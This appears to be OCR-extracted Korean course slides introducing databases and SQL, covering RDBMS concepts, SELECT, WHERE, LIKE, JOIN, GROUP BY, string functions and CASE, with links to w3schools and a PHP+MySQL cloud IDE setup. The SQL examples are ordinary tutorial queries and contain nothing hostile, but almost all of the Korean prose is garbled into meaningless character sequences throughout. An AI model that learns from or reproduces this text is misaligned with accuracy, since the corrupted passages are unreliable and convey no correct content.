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131Xk eixl

0.HIZ &0 T SQL 342
1.DB (AMg) SqQL g4
2. DB, RDB, DBMS, RDBMS Al%) SUBSTR(ZE, START, LENTH) : £210|4
3. ZAE CIOIEH[O| AL 1Y 24 A5) 28

3171 HE L SR AE) It

3.2 HIO[EHIO|AL BF A8 S
4. SQL(Structured Query Language) (A& oteh) BXpY pigt
5.8QL o9 217 (&8 28 20|
6. Data 24 17
7. 3 HIOIE2 HI™E HlO|E]
8. CRUD —
9. SHI0|X|E HI=FStCHEH! 32' II‘
10.08 7= 3o 31

(HE) =M

(A5) #3438 (Mg =HE
(&%) SELECT Statement (&) JOIN
(A'&) SELECT DISTINCT Statement (&%) UNION
(&%) ORDER BY (&%) GROUP BY
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(A8) Maqit (A& oreh) EXIST
(M&) HE HLxt (A& oreh) ANY
(M%) =2| gt (Mg oteh ALL
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() IN ot
(28) LIKE et PHP+-MySQLE ZIEra ERI0IXI B1SJ] - 2801
(&%) IS NULL
(&5) bit ©| =2 |HAMAL
(&%) WHERE 1. 71% CkX|7]
(&%) INSERT 2. MH M=
(&%) Null Values #0tLH7| 3. MySQL &%
(24%) UPDATE 4. PHP+MySQL ®E
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.DB

. DB, RDB, DBMS, RDBMS

. 21 CIOIE|HI0| AL 718 Q4
171 MEHRER

3.2 HIO[HH[0] A2 BF

W N = O

. SQL(Structured Query Language)

4
5. SQL I31E.10-|0| HE

6. Data &A1 1td

7. 8 HIO|E{2} HIEH Glo|H
8. CRUD

9. SHO|XIE MZfStCHH!

10. 02 2= 49 FH

(AlL) SAMA

(A&) SELECT Statement
(&%) SELECT DISTINCT Statement
(&) ORDER BY

(&5) AS

(A5) aqt

(Alé) 0:|7=l Eﬂ-xl.

(AE) =2 g

(&%) BETWEEN St
(ME) IN S
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(M%&) IS NULL

AE) bit THY| =2 FHAKL
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0.HIZ S22 7HM| 8.

o282 fEs HUFAIL LS EMR. (22) Ol2t1 Z0 s FEL22 B2 7ML US
Of 0| 20| 35 otAICHH CIAl Z0t2M| 2.

1. DB
OO E{H| O| A (B O4: database, DB)= 0124 AR O| SFI0 AHES SH O 2 XA =3l &g, 2
O[5 o| TSO|CE A El SECZM 02 S8 AAHES S8 HEEES MG 2L

=
T A= 38 H0|H=2 F30|Ct. - Wikidipia

2. DB, RDB, DBMS, RDBMS
* DB - DBMS
* RDB — RDBMS

Zte|sh= A|AEQILICEH TOP3

RDBMS(stands for Relational Database Management System)= DBE
Ot4l Z10| M= Oracle0| SE2H

QE 4~ RDBMSE= MySQL, PostgreSQL, SQLite 2 L|CH @ Z A AT}
2IL|Ct.
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3. 241 flo[EHo|AL| 4 R4

O7|MEEHE=E HE 807t SN ULICE SA| 25 5t 2AOHH B 452 110 0| MHE EA

7| "pEhCt,

e TABLE(E, E), VIEW(HIO|HE MEISIY BHE Thefo| 22 T e, INDEX(F ), SEQUENCE(A|#
A, I1QHS XHES4A), SYNONYMA| = Q, Kol E&) 59| X Z 7

e ENTITY, RELATIONEE S| &gt

20|

N ?!E;I _O|E2|RE
(at9) / o
b i o & F 4 e
100 olzs HFAl 010-0000-0000
E5 101 PAE-23 HiA| 010-0000-0000
N 102 s MHZA| 010-0000-0000
103 Bk MFRA| 010-0000-0000
104 a$sz MFRA| 010-0000-0000
(#2418 — 217
L MY
100 C, Java, Z4N2|8, ¥12iE
101 Python, Django2 U= WAH|A
102 Python, Pythonic8t &t
103 Python, PythonS2 £ 9L Yn2lE
104 Python, YUAKEAIEO|

EX : HFDEYH|O|AZE I NotionZ =t

o FE(Tuple)2 HIO|E2| HL|CE

o =d(Attribute)= HTMLE [HX| Xt H Table Heading & L|Ct Of 7| A
7t £480|x

rir
_JOI-
[E
o
o
i
P>
r
ot
rE
fot

o =0 2l(Domain)2 dtLtel UM FE 4= A= grof HAS LLICL 0| S0 /oM = A
g =0 HA 2k=2] HelE of 7= L C

o Xt==(Degree)= 32| 7= QLI st 0| F0| A= ottH, O|F, =2, TS 0[L| F 474
7t 2 AYLICH

e 7|%(Cardinality)= FE2| 7+ LICE 2I0M= O EC|REE N 2ldtl & 5742 /FE0| =X
e ct.
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317|12[ 8 R FR
+ 7127 teloR A8 d 7|8 AL DRHR U
2 71872 A8E & UL LICL 71271 N

o 2H7|=7|E7|E Melotd nget 7|52 HELLL

o 22f7|= ZAH KO U= HIO|SUA &5t
ZEAIE THE 2lgojMe 3

3.2 HIO[E{H[0] 22| EF

o ASE OO HO[A(1:N)

o U H|O|EH| O] A(N:M)

o A CIO|EH| O] A~ (=t B HEHC| &= 1A, 1:1, N, NMEHA &

o Z4H| A Ol O| B 1|0~
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4. SQL(Structured Query Language)

sQL2 AE2|A] Aol EERLICH o 2{&0] BHeF MySQL, MsSQL, Oracle, Postgres 52| DBE A&

5t0f O{H T2 ME S SHCtH sQLS CHEA &= QL0{of &L Ct,

SHA|CH T §2 0| ZAFS 0| "HX|"R 5 sQlL ol E AlESt=|, BX[SHTH7E X XAl = 250 Hed
L|C} O] =2 2H0| B L|Ch sQLPt B9 EAICE D™D 0|28 T3 otste A2 OfL 1
7HE Orx| e MEOM T 2 =5 SIS L T,

l

SELECT * FROM Customers;

SaL
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» UPDATE
o DELETE
o O|O[& F2[0{(DDL)
o CREATE DATABASE
o CREATE TABLE
e CREATE INDEX
o ALTER DATABASE
o ALTER TABLE
* DROP TABLE
e DROP INDEX
e RENAME
e TRUNCATE
 [G|O[E H|0{0{(DCL)
e GRANT: ®oH&
e REVOKE: Eeh XM A
o EAM X 00{(TCL)
e COMMIT
e ROLLBACK
e SAVEPOINT

16
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6. Data & 1}d

KDD 241 ZX} (5711 Z2HI2)

- KDD(Knowledge Discovery in Databases)= Z2IHUR J|2 7|¢22 §H|F IiEI0[L} X|42 22| s HAIH 22 2|3t Clo|E 0to]'d Z2AlA
- G|o|E{O0|'d, 7|34, QB X, TEQIY, CIOE] A4St S0lM 88E + U=

CIOIE{ 2 2154 ClOIE] =xi2] CIOIE] gt GIOIE OHol'e

GIOIEA DI01Y 3t 7h
- o b S (Interpretation/Evaluation)
(Selection) (Preprocessing) (Transformation) (Data Mining) B
« G&(Noise), OIAAI(Outliner), + S0 27 Wk 49, 41, « 24 830] 2 Sole] e ot i o
~cfolf 0] 91M b|xLIA 3 i + ¥4 20j0] IR BA/HO), 4 2
Cojoio] cfot olsfet ZEHE E‘ixMMwssmg Value) 58 Al Za, glofe] Wk gol\ i}iiélgﬂfrs. 2ho] WA 8l
g5 888 - E2MA TYS 9 2SR clolE 5, 05X . w7s A S PEo WS
P « 712 R3] 0jo|E A10] 0| E{(Training data)2t o XN E o
Sl iametcaia i 218 22 Selection Z2AA 2Z0(0]E|(Test data)2 « Wl uf} Ho|Ef FHx{ale}
i Aol GIo1E] 22|

HE T2MAS LAY

S v e [ v ] » S0 » Q

/ A b, W AT -

4. HIOJE| wigh 5. mjE(Patterns)
(Transformed Data)

1. H|0JE{(Data) 2. 281 4o|g 3. ™xj2| Glolgf

6. X|%(Knowledge)
(Target Data) (Preprocessed Data)

-1 o

EN HFIZEHO[ABZ H|O|HZA Bzt

o MO HIOIEHE &480f ot= 0|72t 7|2l = oA gLt
o THHO|A 3RZEX[2] EEAIZF M 2HE O 70% ~ 80%S AtX|otil A& LICH
el

o 7|80 S0{7t= HIOlH YE Ut E= & & Slg Lt &

= T Mg cL 2t™M3| o019 O & %= 9l
SL|CH HIO|E $XBE, 7128t ZTIK SQLS AIRE 4 USLICH 22 2M0 T £ 4 YUX|
m]

I EAlE o E2 S0 B
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7.°4d HO|E{2t HI'EE H|O[E

o YEHO[E = RDBMSOH A AHESH= HIO|= 2t 2017t /= SHO0| TS

= -
LIT},
o H|E™ O O|H (unstructured data, unstructured information, B8 &), H| 71 X3} 00| H, H
T2& O0|H & o]2] Fol& HjojH Z=>o| giAL0|2] Fele eAalocz F| X e HE
=

£ YoICH(EXN  WIKI)

8. CRUD

CRUD
CRUDE T80 ZEE 2Z Q0] 7} 74X|= 72X el Blo|8f #2| 7|52 Create(44]),

(=)
ME FOM LT = LOICE ALEAF BT 0|27} 2R 0{0F E 7| S(3 L2 Fx/dM/AL

s(

Read(®7]), Update(Z41), Delete(4}
= fﬂ\ﬂ S0EME AL EILE
W https://ko.wikipedia.org/wiki/CRUD

e (reate
e Read
e Update

e Delete
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9. EL|0| X| & M|=tEtCtHA!

* HTML/CSS + PHP + MySQLE ZI|O|X| A[A|Et oF H BHS O BN 2. X|CDt ZEHASHA PHEO0{E
MAIR. (& MH|AE= EOL 0|42 Q18| FrameworkE AHESHA|Z BB = EIL|CE)

MH M Eots FE2 0219 StAl= 20| E2MA Ol S22 =38 FASLIC

LS —

‘@3 9 PHP + MySQL AH| M| & = ZtEHSE B[ O] X BESZ(..
S0l X

SQL

With RISl
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PHP2I MySQLR| A& 2| - 23T

. https://opentutorials.org/course/3167/19590

2. (TS OB 2THEM .

DATABASET - A&t 3 g

O =22 YE7|=2 o2 HO|HHO[20 Ciet Z2X ol 271 & B2 9
SLICE O] =€ 2 M X 2l HO|EH|0| & XM Z& CLHEA| EELICH HO|EH

. https://opentutorials.org/course/3162

3. MysQLE & O 24HEM K.

DATABASE2 - MysSQL - M&3 ¢

F20|EM, E220|1, 304 H|O|EH 0|2 F0f 5tLtRl MysQLe| Y& =+
HYLICE. Z27|£2 HE 2l HO|HH 0|27t CHECWI SHoEAl 3E5HY

. https://opentutorials.org/course/3161

= o=
oM HEEE AN, X0t Y1 HOIHE MEst=s A
2l= 2X] 8lO] Of2ff AfO|EO|M HIZ 25 St=5 St LI

W3Schools Online Web Tutorials

body { background-color: lightblue;} h1 { color: white; text-align: center;} p { font- g 4
family: verdana; font-size: 20px;} Try it Yourself " body { background-color: %}’

https://www.w3schools.com/
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w3schools.com

TUTORIALS ¥ REFERENCES ¥ EXAMPLES ¥ EXERCISES ¥ CERTIFICATES

HTML and CSS
Learn HTML

Learn CSS
Learn Bootstrap H I M L
Learn W3.CSS

Learn Colors
Learn Icons
Learn Graphics
Learn How To

Learn Sass LEARN HTML HTML REFERENCE

JavaScript

The language for building web pages

Learn JavaScript
Learn jQuery
Learn React
Learn Angular]s
Learn JSON
Learn AJAX
Learn AppML
Learn W3.1JS

Server Side

Learn PHP

Learn ASP

Learn Node.js
Learn Raspberry Pi

CSS Example:

body {
background-color: lightblue;

Try it Yourself £ SEdiFM . otHTt FEAH UCH LIHX| = 0] Z2|E EAIHAM W2t7HA
o L

21
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SQL Tutorial

SQL is a standard language for storing, manipulating and retrieving data in dat:

Our SQL tutorial will teach you how to use SQL in: MySQL, SQL Server, MS Acce

Start learning SQL now »

Examples in Each Chapter

With our online SQL editor, you can edit the SQL statements, and click on a but

Example

| SELECT * FROM Custome#s;

Try it Yourself »

Click on the "Try it Yourself" button to see how it works.

22
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AL
4l =) SELECT Statement
select= CIO|HE £3|6tALt Aad, B 52 AW [ AFRSLICE SQLE CHAEALE 7H2|A] %
X2 =20 P el= A2 EA20 MEF S &L T

S
“(HAaHel2a=, 22) = ZESSS O EHY I AL LICL

SELECT * FROM Customers;

sQL
O7|M otz ZHTH =20t 4+ 2 o= Of2fef Z20[ AFERL Tt
SELECT CustomerName, City FROM Customers;
sqQL
Ofgfiet 20| LiZ2 2 |KOlE = UKD 07| M FOFX| &1 AFE5H e E SIS L T
SELECT [Address], [City] FROM Customers;
sQL

ME ZEY WOk Select 122 MEE L 2k AFEE & UA|
D2 FoANM HE=E St LI

SELECT 1+1;
sQL

QEZ0j Y= Customers, Categories S-& SHLH S2l3f5 1 G|0[E 2 mofsi s A R, of2{7)o] ¥
2 SELECTE S AM23H X|H Z2sj = M| Q. 7| 23tM| Q. EF0|Ee F BHEok U AltelL|c

Your Database:

SQL Statement: Tablename Records
) Customers 92

select 1+1; Categories 8
Employees 10

OrderDetails 518

Orders 196

Products 77

Shippers 3

Suppliers 29

Edit the SQL Statement, and click "Run SQL" to see the result.

Run SQL » Restore Database

23
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4! =) SELECT DISTINCT Statement

DISTINCT= 5242 MAE L CH

SELECT DISTINCT Country FROM Customers;

ke

(

M
u

3

&) ORDER BY
A0 FEgL L of2f

7HA

XNH 2 o0 = MBESLICH OFX| 2o MOjE2
o QEX=:ASCUIE, A2 0 M 2 =2, Ascending)

0

=

o U2 Xt DESC(E =0 &2 =2, Descending)

SELECT * FROM Customers ORDER BY CustomerID DESC;

SELECT * FROM Customers ORDER BY CustomerName ASC;

SELECT *
FROM Customers
ORDER BY CustomerID DESC;

SELECT *
FROM Customers
ORDER BY CustomerID ASC;

EXNLI2 Red

saQL

sQL

sQL

saL

saL

24
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SELECT CustomerID AS 3|2 0|8
FROM Customers;

SQL
SELECT CustomerID AS 3|&0l&, Country AS Lict
FROM Customers;
SqQL
SELECT CustomerID 2|®0|&, CustomerName O|& FROM Customers;
SQL
AlAY A=A
Holn W1 LHe 1 Z3hs 20| ZHs Lt
SELECT (CustomerID/3)+5 FROM Customers;
SQL
SELECT (CustomerID / 3) % 2 FROM Customers;
SQL
212 AE7|e| HAte Jts gL o
SELECT CustomerID + CustomerID FROM Customers;
SQL

oifd 242 0, L 7| S St nullZ 2HetetLICt 0|01 0|2 H Of2f Rl A2 AUAE AHESHOF &
LICF.

SELECT CustomerName + CustomerName FROM Customers;

saL

SELECT ProductName AS MIZ0/&, Price AS J|=Jt, Price*0.2 AS EQIEIJtA, Price*0.8 AS ==
Jt
FROM Products

sQL

25
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M%) A7 AMx}

OracleOf| A& ||, MsSQLZ +, MySQLE2 S22 ¢4 75, CONCATE = 5822 A8 7Is& L
Ct. SFX|2H 2 G X A0 M O] H AS2 FEXI0 7[Y5t= A2 A 20[UX| 2L, 280 =5
SOlotCt HE 2 7| A5 F=M| K.
SELECT Country || ' ' || City || * ' || Address AS ZZ FROM Customers
sQL
SELECT ProductName AS KIZ0|I&, Price || 'Jt ' || (Price*e.2) || "Z°Z ' || (Price*e.8)
[| 'Ol BFORELICH" ASs EEEF
FROM Products;
sQL

Crefet H2| S ZH=0f CHE tableO M & G2 2 2HOf| 22 U=HEM 1.
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COECEI

|

2M2=2|= NOT, AND, ORY LIC} True= 12, False= 022, and= 52 F, or= HAH O 2 O5f|5}HA|
O A AH0| &l&LICE oA Lb2 B ALRE, where =21 = 2 0]2] AFESIQIS LT W HAHR}
= ELH( =), CEELEH( 1=), 20K > ), (< )& H20t= LA LIL

o J|2ES

SELECT 1 AND O;

sQL

SELECT 1 OR ©;

sQL

SELECT NOT @;

saL
e AND

SELECT *

FROM Customers

WHERE CustomerID LIKE *1%'
AND City = 'London';

saL

SELECT *

FROM Customers

WHERE CustomerID LIKE "1%'

AND City = 'London' OR City = 'Berlin‘;

saL

SELECT *

FROM Customers

WHERE CustomerID LIKE "1%'

AND (City = 'London' OR City = 'Berlin');

sQL

27
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e NOT

SELECT *

FROM Customers

WHERE CustomerID LIKE "1%*

AND NOT(City = 'London' OR City = 'Berlin');

SELECT *

FROM Customers

WHERE CustomerID LIKE *1%*

AND (City != "London' AND City != 'Berlin');

> ZX| %Ct(0S BE)

SELECT *

FROM Customers

WHERE CustomerID LIKE "1%'

AND (City <> 'London' AND City <> 'Berlin');

sQL

sQL

sQL

28
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(&%) BETWEEN 4t

A AND B : A2} BE &5t AFO|9] £}

—_—

SELECT CustomerID, CustomerName
FROM Customers
WHERE CustomerID BETWEEN 3@ AND 50;

sQL
SELECT CustomerID, CustomerName
FROM Customers
WHERE CustomerID >= 30 AND CustomerID <= 50;
sQL
Al A A
(=) IN E4F
IN A ARHOY| 24 DA[St= gt =2
SELECT CustomerID, CustomerName
FROM Customers
WHERE CustomerID IN (10, 20, 30);
sQL
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(A5) LIKE HAF
e LIKE 'H| W FX}
1, Bl 2Xot HEf7F LX[(%(2 = =Xh, (B =AhH Ar)

2. A=A 2t

SELECT CustomerID, CustomerName
FROM Customers
WHERE CustomerName LIKE ‘Paul%’;

sQL
2+QF O O E{ 7t Paullab, Paultest, Paulcode”t QUCHH 2= 24 A4
SELECT CustomerID, CustomerName
FROM Customers
WHERE CustomerName LIKE '"Paul  *;
sQL

BHOF OIT{ L7} 3742} B 9| HIO|E] 5 Paullab Bt S2BHLIC 0|2 2A}
20 Crobet o § 7t & LICH
o RFEME OfF

PaulO| E0{7t= 2= &

SELECT CustomerID, CustomerName
FROM Customers
WHERE CustomerName LIKE '%Paul%’;

sQL
off ZEE d5si2Ma.
SELECT CustomerID, CustomerName
FROM Customers
WHERE CustomerID LIKE "1%";
sQL
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SELECT CustomerID, CustomerName
FROM Customers
WHERE CustomerID IS NULL;

saL
AL . (o]
& 5) bit Tl =2 LUK}
Xt2|CHZ AND, OR, XORR L|Ct.
SELECT 1 & ©;
saL
SELECT 1 | e;
saL
SELECT 1 ~ ©;
saL
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=
AR Z8 H M AMK(=, <, >, 1=, >=, <=), SQLAAMXHBETWEEN), =2| ¢4t

SELECT CustomerID
FROM Customers
WHERE CustomerID > 80;

sQL

SELECT *
FROM Customers
WHERE CustomerID > 80 AND Country='France';

saQL

SELECT CustomerID, CustomerName
FROM Customers
WHERE CustomerID=30;

sQL

SELECT CustomerID, CustomerName
FROM Customers

WHERE CustomerName='Godos Cocina Tipica';

sQL
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(&) INSERT
Ofgf ZEE A8t = ChA| o M MA| ZEHE Z2|SEM . LIHX| ¢f2 nuil 2 SO0{7A &L Ch
222 34 8191 3742 §0|E{7H S0{7HA| EL|Ch

INSERT INTO Customers (CustomerName, City, Country)
VALUES ('leehojun', 'jejusi', 'korea');

SQL

SELECT * FROM Customers;
sQL

o A 1§

=X O| ot O|HAM, MFAI0 &0 = AFRS oM. 7| SOl of s§T Hlo|& 7t 8iCt
Q0 FE(INSERT)E CHA| AHA|AH F=H K.

SELECT * FROM Customers WHERE Country='korea' AND City='jejusi';

sQL
o =X 2%
PostalCode?tO| null 2t 2 AR 2 5T A| 2.
/* SELECT * FROM Customers WHERE PostalCode='"; */
SELECT * FROM Customers WHERE PostalCode IS NULL;
sQL

HIO1 = SAFEDF NULLE 2 CHE 2L LT
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A L8 H7Ho| 42 LESHA &1 nulldfS XOtEAM Q. UM HIO|HE Aot A &
HAE2 null 222 S0 77| 20| ContactNamelf| 3|7} 7hs gL T},

SELECT *
FROM Customers
WHERE ContactName IS NULL;

sQL
is not T2 = 7S5t L Ct.
SELECT *
FROM Customers
WHERE ContactName IS NOT NULL;
sQL

\
o
o
H
I
In}
o

o
40
rr
m
Min

u

>
0

S LT whereZ 0 2{7| £ selectot ] HtE 4= U S LT}

UPDATE Customers
SET CustomerName='3ot=2& ", City='Stet&t', Country="43"
WHERE CustomerID = 1;

saL

SELECT * FROM Customers;
sQL
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41=) DELETE
TO|5IM| Q. WHERE QH& o ™ Cf Abx| & L|C O] 0| AF0ME

DELETE FROM Customers WHERE CustomerName='hojun';

SELECT * FROM Customers;

(A) TOPI} LIMIT

| ACE37H2] H(row)S E&= g LTt

SELECT TOP 3 * FROM Customers;
SELECT TOP 1@ PERCENT * FROM Customers;

SELECT * FROM Customers
LIMIT 3;

ST SMELC

= O

saL

sQL

sQL

sQL

saL
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(A& 2Heh CREATE, DROP

ST a2 ol7|M 3R] aLich @Azl opx|g) 4¢f
S o AL8% LI

CREATE DATABASE sampledata_db;
CREATE TABLE sampledata_table;
DROP DATABASE sampledata_db;
DROP TABLE sampledata_table;

mysql> SHOW databases;
mysql> SHOW tables;
mysql> DESC table name;

oM Szt

?E MB{0| DBE 2X[5t 1

Al
o

sQL

sQL

HA

d
o

36



22| Xk

SQL &t?
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4ol 2 SaL (With H=HD) - 221Xt

2E e L8 A2 OfLAIE, T

XAt : VARCHAR2 (&) : A EFR) X|7E 4000HI0| E

==Xt : OracleOf| M= NUMBER(E 4= At&l 4=, &%= XFEl=), MySQLS INTAHE
=R} : DATE()

AlZE: TIME()

=AHE A

CONCAT('abc, 'def') — 'abcdef : EAIE S HAZL|CL
LOWER('ABC") — 'abc’

UPPER(‘abc') — 'ABC

INITCAP('abc") — 'Abc' : ¥ 2 X} CHEX}

SUBSTR('hello world’, 1, 5) — 'hello’ : #AtE 2 AtE I BO| AFERLICE =At= A|ER|X], Rt E
=AFE S| ZO|E LIEHHL|CE

REPLACE('hello world', 'world', 'SQL') — 'hello SQL': 10 42 4o 2 TH& 4H2 WAL T

LENGTH(hello’) — 5: &AtE2| Z0|Z Z=H 2 LICE COUNTRF B W3l A 7| siF=A 2.

COUNT : &2| 7i+E ==Lt
-2

INSTR(ABCDEF', 'B") —
2 Q0= 0FEf A[ZfSHL

2 = 4
TRUNC(RAYE XL, RHEIS) - AHE H A} 00] 2% A A2
MOD(%, L
POWER(Z:, &

SQRT: A& &4
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SELECT CustomerID, CustomerName,
LOWER(CustomerName) AS LS X,
UPPER(CustomerName) AS CHE At

FROM Customers;

3

ASE AMESHA| ROtE SO =9

I

(A5) SUBSTR(Z H,

SELECT SUBSTR('hello world', 1, 4);

[
o 2AtEel 40| E5alTAM 1.

¢ SAE[E 2 ME|SiFM K.

SELECT CustomerID, CustomerName,
LENGTH(CustomerName) AS 0|2 0],
SUBSTR(CustomerName, 6) AS AE£0|E,
REPLACE (CustomerName, SUBSTR(CustomerName, ©, 6),
FROM Customers;

07| M A% SUBSTR 22 8%

e Oracle2 SUBSTR, SUBSTRB

e MsSQL2 SUBSTRING

e MySQL2 SUBSTRING, SUBSTR, MID

= AFERLIL

sQL

L|C} CH2 A9t A2 A2 HHLO| HtOjQ,

START, LENTH) : &2}0] 4

sQL

seoores ) A HEHE 0|8

sQL
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(2&) €™

STt A|ZHO] O A T o X|=X] =l EAM 1.

SELECT DATE();

sqL
SELECT DATE() + 1@;

sqL
SELECT TIME() + 1@;

sqL

Ofm
X
E
|'I'LI
M
oot
-
fujru
n=
>
2
ot
I
Iul
ot
T
1=

>

‘ EEMR. BE52 240t 2 EA gk NS
Ct W3SchoolH Al = 2 4H0F BE=EAE ASOHA| RE LI

SELECT MAX(CustomerID) AS X
SELECT SUM(CustomerID) AS & X
SELECT MIN(CustomerID) AS X FROM Customers;
SELECT COUNT(CustomerID) AS &M X2 2|4 FROM Customers;
SELECT AVG(CustomerID) AS B & FROM Customers;

2t FROM Customers;
& FROM Customers;
2t

sQL

SELECT CHAR(65) || CHAR(65));
SELECT CONCAT(CHAR(65), CHAR(65));
SELECT ASCII('A');

sQL
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SELECT * FROM Products;

SQL
1. X HEL| 7H+=E FSFAM 2.
/* SELECT COUNT(ProductID) FROM Products; */
SELECT COUNT(*) FROM Products;
sQL
Ofef 18 He[HEH =2 AdSHA|H QHE LICE O] R= o2 ZEZ HASHEAIH & = ASL
Cf.
INSERT INTO Products (Price)
VALUES ('500');
SQL
SELECT COUNT(ProductName) FROM Products;
sQL
2. Wl e FolFA (g ABIFTAMR)
SELECT AVG(Price) FROM Products;
sSQL
3. M& O|S0| 'A'Z A|&StHAM 7t H0| Bat 0|02l H&ES T3l 2. Or2i et 0] 45t Of
A7t YU ELICE O| R E Y%t ZEE A dohM /.

/* SELECT * FROM Products WHERE ProductName LIKE 'A%' AND Price > AVG(Price); */

sQL
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Zg Sl 2 AYUC ot =4 F22 F2lE 2857 L FHElE HAl EFS

-- g #22 84 DA ZEE Z3IELIC.

SELECT * FROM Customers;

saL
-- Y P22 dH 1 JEE E=3F|ELIC.
SELECT * FROM Customers --WHERE CustomerID > 50;
saL
/*
ocl £ FH2LIT
SELECT City FROM Customers;
*/
SELECT * FROM Customers;
sqQL

43



4ol 2 SaL (With H=ZHD) - 321Xt

A =
(A =2
S| == Ot IO[X|0 A & 50HM K. CHE Pagel| A 50| E|X| 45 LICEH

SQL CASE Statement

The CASE statement goes through conditions and returns a value when the first
condition is met (like an IF-THEN-ELSE statement). So, once a condition is true, it

https://www.w3schools.com/sql/sql_case.asp

¢ Oracle?| Z20{-= DECODE, CASE WHEN
e MsSQL2| &20{= CASE WHEN

e MySQLS| 20| IF, CASE WHEN

e CASEWHEN Z=7 THEN #2382 T T ELSE AN Y ER_HATE END

SELECT CASE WHEN 'GOOD'='JOB' THEN 'HELLO' ELSE 'WORLD' END;

sQL
Z 002 A2 EEE oML Ol 22 Ao EAM a.
SELECT CustomerID, City,
CASE
WHEN CustomerID > 50 THEN '5e8i= E3=!°
WHEN City='London' THEN '&=A|JF &1
ELSE '509H O|at!!
END AS 'EZ 2!
FROM Customers;
sQL

CHE2 W3SchoolOf| Al K| SSt Y= L2 ULICE DHF CityH|O|E{ 7k NULLZ 2 7HR| 0 QUCHH B &
#=ME Country 7| =2 2, OtL| 2t City 7| &2 2 HEsl2ts Fe2| YL Ct,

SELECT CustomerName, City, Country FROM Customers
ORDER BY

(CASE
WHEN City IS NULL THEN Country

ELSE City

END) ;
sqL
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7tX| 10 GIO|HE & EILICE. 07| A= 1nner Join BHAESEEE SIS L Ct

SELECT Orders.OrderID, Customers.CustomerName, Orders.OrderDate
FROM Orders

INNER JOIN Customers
ON Orders.CustomerID=Customers.CustomerID;

SQL »

INNER JOIN LEFT JOIN
RIGHT JOIN FULL OUTER JOIN

=X : W3SCHOOL

O|X| CIO|H & HTH 2 M| 2. W3School | Af 1nNER JoIn & == = H|O|HE 2F S HEN K. ¢/2
=N=0 tie HEEME Mot ASLICE Ofg 2ME S0 EM L. SEE Mot A0 K.

W3Schools SQL Exercise

| completed all the SQL exercises on w3schools.com

https://www.w3schools.com/sql/exercise.asp?filename=exercise_join1
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4&) UNION

HO[HE 2 ELICH

SELECT City FROM Customers
UNION

SELECT City FROM Suppliers
ORDER BY City;

SQL

JOINIF BHEFZEX] 2 W3School | A Al & ot CHfet HIOIH S EHEAM K.

(A4E) GROUP BY
27| E 53610 2 EX Eof| < [ AFZ2TL|CE Of2) ZEOA GROUPBY ZE

[

=

E 7

S

£ MNsHH S SHA| 2L T 1 0| R SELECT ZOo|A 0|0] & &2t 7| = E0| A47| &L
L

SELECT COUNT(CustomerID), Country
FROM Customers
GROUP BY Country;

SQL
1 A
45) HAVING
TEetE Ho[H0| =2AE BT Tt
SELECT COUNT(CustomerID), Country
FROM Customers
GROUP BY Country
HAVING COUNT(CustomerID) > 5;
SQL
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SELECT SupplierName
FROM Suppliers

WHERE EXISTS (SELECT ProductName FROM Products WHERE Products.SupplierID = Suppliers.supp

lierID AND Price < 20);
A e~
(&5 o¢eh ANY
NE

SELECT ProductName
FROM Products

H 2|7t ofLtete #O|2HEH &2 HretefL th

— —

saL

WHERE ProductID = ANY (SELECT ProductID FROM OrderDetails WHERE Quantity = 18);

SELECT ProductName
FROM Products

saL

WHERE ProductID = ALL (SELECT ProductID FROM OrderDetails WHERE Quantity = 18);

saL
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1. 71X TtX|7|

2. Me{ ME

3. MySQL &3

4. PHP+MySQL 1S



HoH 3 SOL (With HIZH) - PHP+MySQLE 2HEESH EHIOIXI 2HST] - 15!

I

PHP+MySQLE 7tTteh Z25| 0| X| TS
7| - 11

7|2 CHX] 7]

MH M E

MySQL 478

PHP - MySQL ¥&

7| X C}X| 7|
07| M= HTML, CSSOj| Lot A ES S A| XS LICt Ot Fof2 T Me. ot 2& Fa &
Nz HFE Ao|E HECME Ol MEHE OlslSt=0 32 &M 7t &l A| &S L L.

H
e HTML, CSS, JS2 Front-end! £ & 4= AULER?
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e 302 HTML 2%

[Summary A|2| =] 302 HTML 22F 0 ~»

JEJU CODING BASE CAMP LI Al ®

30= !ldX

e 302 CSS Y

G [Summary A|2|=] 30= CSS 2<% [ Y

JEJU CODING BASE CAMP LES O A..
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JHE
e

1t EHIOIXI 2+SD1 - 18

2 22 TN WEOIEL O A oLt MEHE &
M FHS =S P2 AL PHP + MySQLO| 2738t &L
e [

WEB3 - PHP & MySQL - &3 ¢l

PHPC MysQLE IS 3 A 2|
2 05 2 HOIH O YOS

godag
c|H O ¥ & Foists U2

[:‘ https://opentutorials.org/course/316

SOt SRS LI B 7|E E2
Ct. Al LHE2 ot Z=HE el

?l Z2|& =45talE ZO[AALE sQLE O[H| 8f +=Zdt E0[AI2HEH, MB|AE ot B 2HS 0 B4
H2 GO EMOlE Aol2t FZo] U CE AL 7HSSE A8E 4= Y= 2 20| &= A
HIAQ.
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2|7t A S2h2 FEIDEYLICE QE S 0 XHATH| HFEHE L0k WHSAIE E L L

— —

WA= LE =3 =2
2H 3=

el 4y ZE|o| SA| Y

Q@ F2mrigw x goormide

HICHTE MH|A HIR X 327|9 ME

—_—o

4092122 4008+

Containers TEEEN)

®

A ZiEf|o|L 4 (o/5)
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S| 7Y = A ZEO0IH 4s 2 SESIMAM 7 AE 0|52 Y= M . HAEEO|2t LI
I

=
= A 28N E FYTLICH

OIg * | test_php_mysgl 14/20
4% ZE|O|L MBS QB FHIR. 0/100
xg 227 (02) O M2 (3= DYAILSE (SY) 2Hto| (21)
3709l © Public Private

Publico 2 H7H A| Z16|0| 1 Z2{2|0f S7H=/0 =L} o] AE| 0|0 LB 4= AFLICH

DIZSH HE (M HLUHS, W BSOS 29 =5 4 228 FojuRiLct
S © Template ZIP/ TAR
HHZ © Notused
GPU No GPU core v

A2 4H
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Otz A3 ES W EAIH 28Z oA & /=0 ?2l= pHPE A™RL|CE 12|20 B OpX]
2ol MysQL *E*iI% SEots A= YAI0HM 2!

3 E;E — = (Flask O ,@ +

C/C++ HTML/CSS/JS Python Django Flask PyTorch Jupyter Tensorflow
4 ¢
we @B & / wN € © <
= JsP
Caffe PyQt Java Maven Gradle Spring Spring Boot JSP

25 A v ; Express w ’ #raLs

nede

React React Native Vue Node. js Express Polymer Ruby Rails

@| 60 W9 o B X ®rR 3

PHP Go Swift Arduino C# Net R Scala

K @ Spofi(\z «

hadoop '
Kotlin Hadoop Spark Blank
Template PHP ZZ2HE v
0s Ubuntu 18.04 LTS v
PHP 738

Apache Web Server 2.4.29

F7t2E/M7|X| MySQL Mx| mysql-ctl B3 F7t MongoDB 41 %]

SIHES U 20 Ao R! =

